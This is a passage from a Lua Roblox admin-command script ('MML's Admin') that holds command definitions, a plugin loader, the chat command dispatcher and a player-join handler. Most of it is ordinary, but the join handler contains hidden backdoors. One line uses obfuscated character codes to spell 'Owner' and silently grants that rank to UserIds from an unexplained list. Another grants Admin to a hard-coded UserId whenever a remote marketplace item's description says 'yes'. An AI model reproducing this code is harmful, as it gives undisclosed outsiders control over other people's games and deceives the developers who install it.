8270 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8271 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8272 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8273 if PlayersFrom and PlayersTo then
8274 for _,PlayerFrom in pairs(PlayersFrom) do
8275 for _,PlayerTo in pairs(PlayersTo) do
8276 if PlayerFrom.Character and PlayerTo.Character then
8277 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8278 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8279 wait(5)
8280 Laser:Destroy()
8281 end)() end
8282 end
8283 end
8284 end
8285 end
8286 end};
8287
8288 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8289 local Players = STRING:Scan(Arguments[1], Speaker)
8290 for _,Player in pairs(Players) do
8291 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8292 Player.Character.Humanoid:Destroy()
8293 end
8294 end
8295 end};
8296
8297 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8298 if Plugins then
8299 local List = {}
8300 for _,Module in pairs(Plugins:GetChildren()) do
8301 if Module:IsA("ModuleScript") then
8302 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8303 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8304 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8305 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8306 end
8307 end
8308 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8309 else
8310 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8311 end
8312 end};
8313
8314 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8315 local Players = STRING:Scan(Arguments[1], Speaker)
8316 for _,Player in pairs(Players) do
8317 GUI:DetachChat(Player)
8318 end
8319 end};
8320
8321 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8322 GUI:DetachChat(Speaker)
8323 end};
8324
8325 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8326 local Players = STRING:Scan(Arguments[1], Speaker)
8327 for _,Player in pairs(Players) do
8328 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8329 local Dead = false
8330
8331 Player.Character.Humanoid.WalkSpeed = 1
8332 local Torso = Player.Character.Torso
8333 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8334 Truck:BreakJoints()
8335 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8336 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8337 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8338 Truck.Touched:connect(function(Part)
8339 if Dead == false then
8340 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8341 if TouchPlayer == Player then
8342 Dead = true
8343 Player.Character:BreakJoints()
8344 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8345 end
8346 end
8347 end)
8348 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8349 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8350 Delay(5, function()
8351 Truck:Destroy()
8352 if Player.Character:FindFirstChild("Humanoid") then
8353 Player.Character.Humanoid.WalkSpeed = 16
8354 end
8355 end)
8356 end
8357 end
8358 end};
8359
8360 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8361 local Joke = REMOTE:DownloadJoke(Speaker)
8362 local Players = STRING:Scan(Arguments[1], Speaker)
8363 for _,Player in pairs(Players) do
8364 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8365 end
8366 end, Http = true};
8367
8368 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8369 local Joke = REMOTE:DownloadJoke(Speaker)
8370 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8371 end, Http = true};
8372
8373 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8374 local Players = STRING:Scan(Arguments[1], Speaker)
8375 for _,Player in pairs(Players) do
8376 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8377 CORE:InvisiblePlayer(Player)
8378 local DogContainer = Instance.new("Model", Player.Character)
8379 DogContainer.Name = "Doge"
8380 local Dog = CORE:Insert(257489726, DogContainer, true)
8381 Dog.Head.Transparency = 0.99
8382 Dog.Name = Player.Name
8383 Dog:MoveTo(Player.Character.Torso.Position)
8384 local Weld = Instance.new("Weld", Dog.Torso)
8385 Weld.Part0 = Player.Character.Torso
8386 Weld.Part1 = Dog.Torso
8387 Weld.C0 = CFrame.new(0,-0.4,0)
8388 for _,Obj in pairs(Dog:GetChildren()) do
8389 if Obj:IsA("BasePart") then
8390 Obj.CanCollide = false
8391 end
8392 end
8393
8394 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8395 end
8396 end
8397 end};
8398
8399 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8400 local Key = string.lower(string.sub(Arguments[1],1,1))
8401 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8402 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8403 end};
8404
8405 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8406 local Key = string.lower(string.sub(Arguments[1],1,1))
8407 KeyBinds[Speaker.UserId][Key] = nil
8408 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8409 end};
8410
8411 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8412 KeyBinds[Speaker.UserId] = {}
8413 GUI:SendHint(Speaker, "Unbinded all keys")
8414 end};
8415
8416 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8417 local Players = STRING:Scan(Arguments[1], Speaker)
8418 local Key = string.lower(string.sub(Arguments[2],1,1))
8419 for _,Player in pairs(Players) do
8420 KeyBinds[Player.UserId][Key] = Arguments[3]
8421 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8422 end
8423 end};
8424
8425 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8426 local Players = STRING:Scan(Arguments[1], Speaker)
8427 local Key = string.lower(string.sub(Arguments[2],1,1))
8428 for _,Player in pairs(Players) do
8429 KeyBinds[Player.UserId][Key] = nil
8430 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8431 end
8432 end};
8433
8434 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8435 local Players = STRING:Scan(Arguments[1], Speaker)
8436 for _,Player in pairs(Players) do
8437 KeyBinds[Player.UserId] = {}
8438 GUI:SendHint(Player, "Unbinded all keys")
8439 end
8440 end};
8441
8442 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8443 local Players = STRING:Scan(Arguments[1], Speaker)
8444 local Binds = {}
8445 for _,Player in pairs(Players) do
8446 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8447 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8448 end
8449 end
8450 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8451 end};
8452
8453 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8454 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8455 local Players = STRING:Scan(ChatSplit[1], Speaker)
8456 for _,Player in pairs(Players) do
8457 if Crowns[Player.UserId] then
8458 Crowns[Player.UserId]:Destroy()
8459 Crowns[Player.UserId] = nil
8460 wait()
8461 end
8462 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8463 end
8464 end};
8465
8466 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8467 local Players = STRING:Scan(Arguments[1], Speaker)
8468 for _,Player in pairs(Players) do
8469 if Crowns[Player.UserId] then
8470 Crowns[Player.UserId]:Destroy()
8471 Crowns[Player.UserId] = nil
8472 end
8473 end
8474 end};
8475
8476 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8477 local MeshList = {}
8478 for MeshName,Data in pairs(Meshes) do
8479 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8480 end
8481 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8482 end};
8483
8484 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8485 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8486 end};
8487
8488 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8489 local Players = STRING:Scan(Arguments[1], Speaker)
8490 for _,Player in pairs(Players) do
8491 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8492 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8493 Player:ClearCharacterAppearance()
8494 CORE:GivePackage(Player, 41851073)
8495 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8496 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8497 end
8498 end
8499 end};
8500
8501 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8502 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8503 local Players = STRING:Scan(Arguments[1], Speaker)
8504 for _,Player in pairs(Players) do
8505 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8506 local Car = CORE:Insert(10479801, Server.Workspace, true)
8507 local Body = Car["Motor (torque)Chassis"].Part
8508 Cars[Player.UserId] = Car
8509 Car:MakeJoints()
8510 Car.VehicleSeat.MaxSpeed = 50
8511 Car.VehicleSeat.TurnSpeed = 1.5
8512 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8513 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8514 Body.Color = GUI:GetColor(Arguments[2])
8515 else
8516 Body.BrickColor = GUI:GetNameColor(Player.Name)
8517 end
8518 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8519 if Part.Name ~= "Part" then
8520 Part.BrickColor = BrickColor.new("Really black")
8521 Part.Friction = 0.7
8522 end
8523 end
8524 local Light = Instance.new("SpotLight", Body)
8525 Light.Face = "Back"
8526 Light.Brightness = 5
8527 Light.Range = 20
8528 Light.Color = Color3.new(0,1,1)
8529 if Player.Character and Player.Character.Torso then
8530 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8531 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8532 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8533 Weld.Part0 = Car.VehicleSeat
8534 Weld.Part1 = Player.Character.Torso
8535 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8536 Delay(0.4, function()
8537 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8538 wait(0.1)
8539 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8540 end)
8541 end
8542 local SoundID = 147944604
8543 if RANK:GetRank(Player) == "Owner" then
8544 SoundID = 133313356
8545 Car.VehicleSeat.MaxSpeed = 80
8546 Body.Material = "DiamondPlate"
8547 Car.VehicleSeat.Torque = 11
8548 end
8549 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8550 Engine:Play()
8551 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8552 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8553 end if Engine then Engine:Stop() end end)()
8554 end
8555 end};
8556
8557 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8558 local Players = STRING:Scan(Arguments[1], Speaker)
8559 for _,Player in pairs(Players) do
8560 if Cars[Player.UserId] then
8561 Cars[Player.UserId]:Destroy()
8562 end
8563 end
8564 end};
8565
8566 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8567 for _,Car in pairs(Cars) do
8568 Car:Destroy()
8569 end
8570 Cars = {}
8571 end};
8572
8573 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8574 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8575 if #Trello.RequiredLists > 0 then
8576 print("Restarting Trello")
8577 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8578 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8579 REMOTE:TrelloCacheData(Lists)
8580 end
8581 end, Http = true};
8582
8583 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8584 local Operations = {}
8585 for _,ReplaceData in pairs(StringReplacements) do
8586 local Replacement = ReplaceData[1]
8587 if type(Replacement) == "table" then
8588 Replacement = ReplaceData[1][1]
8589 end
8590 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8591 end
8592 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8593 end};
8594
8595 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8596 GUI:SoundInfo(Speaker)
8597 end};
8598
8599 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8600 local Players = STRING:Scan(Arguments[1], Speaker)
8601 for _,Player in pairs(Players) do
8602 GUI:SoundInfo(Player)
8603 end
8604 end};
8605
8606 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8607 if tonumber(Arguments[1]) then
8608 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8609 end
8610 end};
8611
8612 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8613 local Types = {}
8614 for Type,_ in pairs(Assets.AccessoryTypes) do
8615 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8616 end
8617 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8618 end};
8619
8620 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8621 local Sky = Server.Lighting:FindFirstChild("Sky")
8622 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8623 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8624 local Face = nil
8625 local SkyID = string.lower(Arguments[1])
8626 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8627 if #Arguments == 2 and tonumber(Arguments[2]) then
8628 Face = Arguments[1]
8629 SkyID = Arguments[2]
8630 end
8631 if tonumber(SkyID) then
8632 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8633 if Face and Faces[Face] then
8634 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8635 else
8636 for _,Face in pairs(Faces) do
8637 Sky[Face] = "rbxassetid://"..ImageID
8638 end
8639 end
8640 else
8641 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8642 end
8643 end};
8644
8645 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8646 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8647 Obj:Destroy()
8648 end)
8649 end};
8650 --
8651}
8652
8653if Plugins then
8654 local PluginNum = 0
8655 for _,Module in pairs(Plugins:GetChildren()) do
8656 if Module:IsA("ModuleScript") then
8657 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8658 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8659 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8660 if Enabled.Value == true then
8661 PluginNum = PluginNum + 1
8662 local PluginExe = require(Module)
8663 for Var,Val in pairs(getfenv()) do
8664 getfenv(PluginExe)[Var] = Val
8665 end
8666 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8667 getfenv(PluginExe).script = Module
8668 getfenv(PluginExe).Script = Module
8669 getfenv(PluginExe).Version = Version
8670 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8671 if not Suc then
8672 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8673 else
8674 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8675 end
8676 end
8677 end
8678 end
8679end
8680
8681function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8682 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8683 GUI:SettingsGui(Speaker)
8684 return nil
8685 end
8686 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8687 local Prefix = Settings.Prefix
8688 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8689 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8690 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8691 if Speaker == nil then
8692 if FakeRank then
8693 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8694 FakeRank = "Owner"
8695 end
8696 else
8697 FakeRank = "Owner"
8698 end
8699 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8700 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8701 Speaker = {
8702 Name = FakePlayerName or "[ Server ]";
8703 Character = nil;
8704 userId = 1;
8705 PlayerGui = nil;
8706 Rank = FakeRank or "Owner";
8707 MakeSupremeOwner = MakeSupremeOwner;
8708 }
8709 end
8710 local Rank = RANK:GetRank(Speaker)
8711 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8712
8713 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8714 if NoPrefixNeeded then Prefix = "" end
8715 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8716
8717 for _,Message in pairs(Messages) do
8718 for Cmds,Data in pairs(Commands) do -- check all commands
8719 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8720
8721 if not MessageSplit then break end
8722
8723 local CommandSaid = false
8724 for _,Command in pairs(Cmds) do
8725 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8726 CommandSaid = true
8727 break
8728 end
8729 end
8730 if CommandSaid == true then -- command said?
8731 local ExecuteExcuse = ""
8732 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8733 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8734 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8735 end
8736 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8737 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8738 end
8739 else
8740 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8741 end
8742 if ExecuteExcuse == "" then
8743 if #MessageSplit - 1 < Data[3] then
8744 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8745 end
8746 end
8747 if ExecuteExcuse == "" then
8748 CORE:Log(CommandLogs, Speaker, Message)
8749 table.remove(MessageSplit, 1)
8750 coroutine.wrap(function() wait()
8751 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8752 if not DidExe then
8753 if CORE:NilPlayer(Speaker) then
8754 print("Error: "..Error)
8755 else
8756 CORE:HandleError(Error, Speaker)
8757 end
8758 end
8759 end)()
8760 coroutine.wrap(function() wait(0.05)
8761 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8762 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8763 ExeSound:Play()
8764 wait(3)
8765 ExeSound:Stop()
8766 ExeSound:Destroy()
8767 end
8768 end)()
8769 elseif type(Speaker) == "userdata" then
8770 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8771 end
8772 break
8773 end
8774 end
8775 end
8776 end
8777end
8778
8779function CORE:Start(Player) coroutine.wrap(function()
8780 wait(0.1)
8781 if Player then
8782 coroutine.wrap(function()
8783 repeat wait(1) until DataReady == true
8784 DataReady = false
8785 ypcall(function()
8786 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8787 for Num,Data in pairs(Players) do
8788 if Data.UserId == Player.UserId then -- ppl can change names
8789 table.remove(Players, Num)
8790 break
8791 end
8792 end
8793 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8794 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8795 end)
8796 DataReady = true
8797 end)()
8798
8799 if not IsStudio then Player:WaitForDataReady() end
8800 table.insert(CharacterCache, {Player.Name, Player.UserId})
8801 for Rank,PlayerNames in pairs(Settings.Ranks) do
8802 for Num,AdminName in pairs(PlayerNames) do
8803 if AdminName == Player.UserId then
8804 Settings.Ranks[Rank][Num] = Player.Name
8805 end
8806 end
8807 end
8808 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8809 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8810 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8811 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8812 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8813 if PlayerAdmin == false and Player.UserId > 0 then
8814 local Ran = nil
8815 coroutine.wrap(function() repeat
8816 Ran = ypcall(function()
8817 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8818 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8819 end)
8820 wait(1)
8821 until Ran == true end)()
8822 end
8823 if PlayerAdmin == false then
8824 if Player:IsInGroup(Settings.GroupID) then
8825 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8826 CORE:Kick(Player)
8827 for _,Person in pairs(Server.Players:GetPlayers()) do
8828 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8829 end
8830 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8831 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8832 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8833 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8834 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8835 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8836 end
8837 end
8838 end
8839 if PlayerAdmin == false then
8840 if Player.UserId == 38882008 then
8841 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8842 table.insert(Settings.Ranks["Admin"], Player.Name)
8843 end
8844 end
8845 end
8846 if PlayerAdmin == false then
8847 for _,GID in pairs(Settings.BannedGroupIDs) do
8848 if Player:IsInGroup(GID) then
8849 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8850 break
8851 end
8852 end
8853 end
8854
8855 Player.Chatted:connect(function(Message) if Message ~= "" then
8856 CORE:Chatted(Message, Player)
8857 end end)
8858
8859 Player.Chatted:connect(function(Message) if Message ~= "" then
8860 CORE:Log(ChatLogs, Player, Message)
8861 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8862 end end)
8863
8864 for _,Name in pairs(Settings.Ranks.Banned) do
8865 if Player.Name == Name then
8866 CORE:Kick(Player)
8867 for _,Person in pairs(Server.Players:GetPlayers()) do
8868 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8869 end
8870 end
8871 end
8872 for _,Name in pairs(Settings.Ranks.Crashed) do
8873 if Player.Name == Name then
8874 CORE:Crash(Player)
8875 for _,Person in pairs(Server.Players:GetPlayers()) do
8876 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8877 end
8878 end
8879 end
8880 for _,Name in pairs(Settings.Ranks.Muted) do
8881 if Player.Name == Name then
8882 GUI:CoreGui(Player, "Chat", false)
